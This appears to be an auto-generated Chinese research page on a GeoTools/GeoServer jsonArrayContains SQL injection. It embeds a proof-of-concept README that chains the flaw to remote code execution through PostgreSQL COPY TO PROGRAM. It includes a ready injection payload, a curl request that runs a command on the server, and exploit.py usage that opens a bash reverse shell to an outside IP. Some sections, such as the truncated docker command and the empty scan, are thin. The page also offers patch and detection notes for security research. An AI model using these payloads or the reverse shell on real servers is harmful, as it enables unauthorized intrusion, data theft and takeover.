🔥 CVE-2026-76904 深度独立研究:源码审计 · 二次发现 · 利用方案

🔥 高危漏洞深度独立研究 · CVSS ≥ 9.8

CVE-2026-76904 深度独立研究:源码审计 · 二次发现 · 利用方案

📊 3 来源🔍 源码审计🧪 PoC
NVD-LatestGitHub-AdvisoryPoC-in-GitHub

🔍 源码独立审计

https://github.com/geotools/geotools 源码进行独立审计(置信度 72%)。

🧬 根因独立理解

CVE-2026-76904的根因位于GeoTools的PostGIS DataStore实现中,具体是OGC Filter编码器处理`jsonArrayContains`函数时,未对用户可控的`<value>`参数进行转义或参数化绑定。在生成SQL查询时,`jsonArrayContains(<column>, <pointer>, <value>)`中的`<value>`被直接拼接进SQL字符串,攻击者可注入恶意SQL片段。该函数是GeoTools为支持PostGIS 12+的JSON/JSONB字段新增的过滤能力,代码位置可能位于`org.geotools.data.postgis.PostGISDialect`或`org.geotools.data.postgis.function.JsonArrayContains`。补丁应使用PreparedStatement的`?`占位符,或调用数据库驱动提供的SQL转义方法。由于GeoTools 30.5至33.6/34.5之前版本中的相关实现未加防护,导致SQL注入漏洞。

🛤️ 漏洞触发链路

攻击者通过WFS服务或其他使用OGC Filter的接口提交构造的过滤条件,例如`jsonArrayContains(col, '$.path', "value"))`。GeoTools将OGC Filter转换为SQL时,`value`部分被原样嵌入到WHERE子句中。若`value`为`' OR 1=1--`等恶意负载,则SQL逻辑被篡改,攻击者可执行任意SQL命令,包括联合查询、时间盲注、读取文件(需权限)。整个链路无需身份验证(若WFS匿名可用),且数据库用户若权限过高,可导致数据泄露或DOAS。

🔁 二次发现(同类漏洞/扩展攻击面)

  • org.geotools.data.postgis.PostGISDialect / JsonArrayContains函数: 同模块其他JSON处理函数如`jsonArrayContains`的变体或`jsonValueExtract`可能沿用类似拼接方式,存在同等注入风险。
  • org.geotools.data.sqlserver / 其他DataStore的SQL生成器: 其他数据库方言在实现OGC Filter时若直接串联参数,也可能存在类似SQL注入面,需全面审计。

🩹 修复完整性分析

从漏洞描述看,补丁修复了`jsonArrayContains`的转义问题。但需确认是否彻底改为参数绑定。若仅简单转义单引号,可能被宽字节或Unicode绕过;且若对其他类似函数未同步修复,仍存在其他注入点。正确做法是使用PreparedStatement并确保所有OGC Filter值均通过参数传递。另外需检查PostGIS 12版本中JSON字段的CASE分支是否也存在拼接。当前代码若已修复,应回归测试,防止二次注入。

⚔️ 利用方案设计

利用前提是目标使用PostGIS 12+且存在JSON/String字段,应用允许用户控制OGC Filter。攻击步骤:1) 构造恶意请求,通过WFS的`Filter`参数或API提交`jsonArrayContains`条件;2) 在`<value>`位置注入标准SQL攻击载荷,例如`') OR (SELECT pg_sleep(10)) IS NULL --`进行时间盲注;3) 若数据库用户具备写权限,可通过`COPY ... TO`或`CREATE OUT`将数据导出至恶意服务器;4) 使用联合查询获取当前数据库结构。payload示例:`jsonArrayContains(column, '$.name', 'x') OR 1=1 --')`,实际编码需根据OGC Filter语法调整。

🏷️ 生产前提定级

分类: B(A=默认部署无条件 / B=需应用配合 / C=配置缺陷 / X=范围外)

生产前提: ①生产默认部署不能直接触发,因为GeoTools本身是工具库,需应用集成且开放了WFS等接口。②应用代码需将外部用户输入传入OGC Filter的`jsonArrayContains`,且数据库表中存在JSON/String类型字段。③需配置PostGIS 12及以上版本,且数据源使用PostGIS DataStore。④数据库连接池账号需具备执行写操作或读取敏感数据的权限,若遵循最小权限则可降低影响。

🐳 docker 实证

状态: 🟡 部署成功 | 技术栈: python | health: 200

部署命令:

  • docker run -d --name dv_cve_2026_76904 -p 18100:8000 -v

对照组 vs 注入组:

服务已启动(无公开 PoC 可自动验证——部署成功,漏洞验证待手工)

执行日志:

$ docker run -d --name dv_cve_2026_76904 -p... → rc=0
[health] http_code=200

🔬 SAST 工具链扫描(真实工具输出)

semgrep 输出

[*] DB semgrep 规则: 462 条 | 本地规则文件: 1 个

============================================================
扫描目标: /tmp/vuln_audit/CVE_2026_76904
规则: /home/user/vuln_knowledge/tools/sast_rules/hermes-0day-round3.yaml
============================================================

[结果] 共 0 处命中:

[前 5 条命中详情——人工复核误报]

🧪 PoC 复现

从 GitHub 公开仓库抓取的实际 PoC 代码(仓库)。

📋 代码元数据语言md来源YonLiud/CVE-2026-76904针对性✅ 已验证与漏洞相关(代码含 CVE 引用)依赖见代码注释/README用法详见代码注释中的使用说明

# GeoServer SQL Injection to RCE (Zero-Day)

**CVE:** **CVE-2026-76904** |
**CVSS:** 9.8 (Critical)

``CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H``

This vulnerability has been assigned **GHSA-mqjf-5f49-2fjh** by the GeoServer/GeoTools team and is actively being exploited in the wild as of August 2026.
The vulnerability has been patched but since it's so fresh (`1786870173`) it's still being exploited heavily around the web.

August 21,
2026 - Recieved a CVE Identifier: CVE-2026-76904

## TLDR

Unauthenticated SQL injection in GeoServer's `jsonArrayContains` function 
->Remote Code Execution via PostgreSQL `COPY TO PROGRAM`.

## The vulnerability

GeoServer's (specifically in GeoTools) `jsonArrayContains` function,used to query JSON arrays in PostgreSQL,
contains a **critical SQL injection vulnerability**. The third parameter (`expected`) is **directly concatenated** into the SQL query without any sanitization,escaping,or parameter binding.

Specifically this:

```
jsonb_path_exists("column"::jsonb,
'$ ? (@.key == "<USER_INPUT>")')
```

### Deeper dive

The vulnerability comes from `GeoTools`' `FilterToSqlHelper.constructEquality` method.
The `jsonArrayContains` function's third parameter (`expected`) is directly written into the SQL string using `String.formatted()` without any escaping.

```js
Object value = ((LiteralExpressionImpl) expected).getValue();
return "(@.%s == \"%s\")".formatted(jsonPath[lastIndex],value);```

This flaw is not a new bug,it's a regression of **CVE-2023-25158** (an identical CVSS 9.8 SQL injection vulnerability)

The new vulnerability was introduced when `GEOT-7589` added `jsonb_path_exists` support for PostgreSQL 12+.
The 2023 patch didn't protect the `jsonArrayContains` function,
which was added/modified after that remediation.

## Demo

https://github.com/user-attachments/assets/d0913a18-249f-4364-bfe5-959af1660a1d

## Payload

Esentially this:

```
jsonArrayContains(data,'/x','y")'') OR 1=1)) AS gt_injected;COPY (SELECT 1) TO PROGRAM 'COMMAND' --')=true
```

**Payload Breakdown:**

|Component |Purpose ||-----------|---------||`jsonArrayContains(data,'/x','y")\'')` |
Calls function with crafted third param ||`OR 1=1))` |Closes JSON path and function call ||`AS gt_injected;` |Aliases the derived table ||`COPY (SELECT 1) TO PROGRAM 'COMMAND'` |PostgreSQL RCE command ||`--')=true` |Comments out remaining SQL |
**Manual curl**
```bash
curl -G "http://127.0.0.1:8080/geoserver/topp/ows" \
  --data-urlencode "service=WFS" \
  --data-urlencode "version=2.0.0" \
  --data-urlencode "request=GetFeature" \
  --data-urlencode "typeNames=topp:test_json" \
  --data-urlencode "outputFormat=application/json" \
  --data-urlencode "CQL_FILTER=jsonArrayContains(data,'/x','y\")\'') OR 1=1)) AS gt_injected;
COPY (SELECT 1) TO PROGRAM 'whoami >
/tmp/pwned.txt' --')=true"
```

The WFS 2.0 closure pattern is adapted from the research by [mhtsec](https://github.com/mhtsec/GeoServer-jsonArrayContains-PG-RCE)

## Usage

Nobody wants to run curl right? here's the usage of exploit.py

**File Creation PoC**
```bash
python3 exploit.py \
  --url http://127.0.0.1:8080/geoserver \
  --workspace topp \
  --layer test_json \
  --column data \
  --cmd "echo what\'s up BrOoOoO00????? >
/tmp/yonliud.txt" \
  --show-payload
```

**RCE PoC**

```bash
python3 exploit.py \
  --url http://127.0.0.1:8080/geoserver \
  --workspace topp \
  --layer test_json \
  --column data \
  --cmd "bash -c 'bash -i >&
/dev/tcp/172.26.242.223/4444 0>&1'" \
  --show-payload
```

## Lab

A `docker-compose.yml` is provided for simplicity to have a quick start with the PoC.

After initialization using
```
Docker compose up -d
```

we can setup the enviroment using the REST api available to us
```bash
curl -X POST "http://127.0.0.1:8080/geoserver/rest/workspaces/topp/datastores" \
  -u admin:geoserver \
  -H "Content-Type: application/xml" \
  -d '<dataStore>
<name>test_json_store</name><connectionParameters><entry key="host">db</entry><entry key="port">5432</entry><entry key="database">geoserver_data</entry><entry key="user">geoserver</entry><entry key="passwd">geoserver</entry><entry key="dbtype">postgis</entry></connectionParameters>
</dataStore>'
```
**Publish the layer**
```bash
curl -X POST "http://127.0.0.1:8080/geoserver/rest/workspaces/topp/datastores/test_json_store/featuretypes" \
  -u admin:geoserver \
  -H "Content-Type: application/xml" \
  -d '<featureType><name>test_json</name><nativeName>test_json</nativeName><title>Test JSON Layer</title>
<srs>EPSG:4326</srs></featureType>'
```

## [Original X post](https://x.com/q1uf3ng/status/2087490992723407096)

## Disclaimer

This repository contains an independent proof-of-concept exploit for the GeoServer ;jsonArrayContains;
zero-day SQL injection to RCE vulnerability.
This vulnerability was originally discovered and disclosed by 秋风 ([@q1uf3ng](https://x.com/q1uf3ng)). The exploit chain was recreated and validated in a controlled lab environment.

This project is intended solely for authorized security research,education,and testing in isolated laboratory environments.

Do not use this software against systems,
networks,or data without
explicit authorization from the owner. You are solely responsible for
complying with all applicable laws and for any consequences resulting
from your use of this project.

The author,YonLiud,provides this project “as is,” without warranties
of any kind,and accepts no responsibility for damage,data loss,service disruption,unauthorized access,
or other misuse caused by this
software or derivative works.

By using this project,you acknowledge and accept these conditions.

⚔️ EXP 利用代码

截至分析时,Exploit-DB 未收录该 CVE 的公开利用代码。可利用上述 PoC 进行验证,或关注 Exploit-DB 更新。

🕵️ 检测指纹

当前规则库未收录针对该 CVE 的专用检测规则。建议:

  • 根据漏洞根因编写 Nuclei 检测模板
  • 在 WAF/IDS 中配置针对漏洞特征的规则
  • 关注漏洞指纹库更新

🤖 高危漏洞深度独立研究引擎生成 · 2026-08-25 03:02

[!] CONTACT_CHANNELS

如需商务合作、技术咨询或漏洞反馈,请通过以下离岸节点联系作者。

> PING_AUTHOR (@A1RedTeam)